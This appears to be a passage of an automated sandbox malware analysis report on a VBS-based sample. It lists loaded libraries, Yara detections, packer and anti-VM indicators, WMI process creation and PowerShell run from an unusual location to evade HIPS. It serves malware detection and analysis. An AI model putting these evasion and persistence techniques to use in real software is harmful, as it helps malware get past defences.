Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: FileCopy.vbs

Static file information: File size 2525629 > 1048576

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: FileCopy.vbs.exe, 00000004.00000002.1441347200.0000000009DB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: FileCopy.vbs.exe, 00000004.00000002.1441347200.0000000009DB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: FileCopy.vbs.exe, 00000004.00000000.1371964932.0000000000E91000.00000020.00000001.01000000.00000005.sdmp, FileCopy.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: FileCopy.vbs.exe, 00000004.00000000.1371964932.0000000000E91000.00000020.00000001.01000000.00000005.sdmp, FileCopy.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdb source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, EditorService.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 4.2.FileCopy.vbs.exe.9db0000.8.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 4.2.FileCopy.vbs.exe.60afec8.2.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.FileCopy.vbs.exe.60afec8.2.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.FileCopy.vbs.exe.60afec8.2.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.FileCopy.vbs.exe.60afec8.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.FileCopy.vbs.exe.60afec8.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, DeciderConsumer.cs	.Net Code: SetupExtendedEditor System.AppDomain.Load(byte[])
Source: 4.2.FileCopy.vbs.exe.605fea8.0.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.FileCopy.vbs.exe.605fea8.0.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.FileCopy.vbs.exe.605fea8.0.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.FileCopy.vbs.exe.605fea8.0.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.FileCopy.vbs.exe.605fea8.0.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 6.2.InstallUtil.exe.53f0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FileCopy.vbs.exe.9c90000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FileCopy.vbs.exe.5faf688.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1504820265.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1437469365.0000000009C90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FileCopy.vbs.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7612, type: MEMORYSTR

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_06B613EE pushad ; retn 7571h	4_2_06B625BB
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C604EC push eax; ret	4_2_09C604ED
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DA5553 push 8B044389h; ret	4_2_09DA5558
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DAED3C pushfd ; ret	4_2_09DAED3D
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DA541F push 8B044389h; ret	4_2_09DA5429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE6C46 push B8FFFFFBh; iretd	6_2_02AE6C4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_052E4CFB push eax; iretd	6_2_052E4D15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_052E04CF push eax; ret	6_2_052E04E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_055260E0 push esp; retf	6_2_055260ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_055213B0 push eax; retf	6_2_05521591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05521C5E push esp; iretd	6_2_05521C61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576AD4B push esp; retn 0553h	6_2_0576AD55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05FF1A60 push ss; ret	6_2_05FF1A77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0705426F push edx; retf	6_2_07054270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_07052A75 push FFFFFFB9h; iretd	6_2_07052A79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0705428E push FFFFFFB9h; iretd	6_2_07054295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_070540EB push FFFFFFB8h; iretd	6_2_070540F2

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\FileCopy.vbs.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: FileCopy.vbs.exe PID: 7472, type: MEMORYSTR

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\user\desktop\filecopy.vbs.exe

Key value queried: Powershell behavior

Jump to behavior

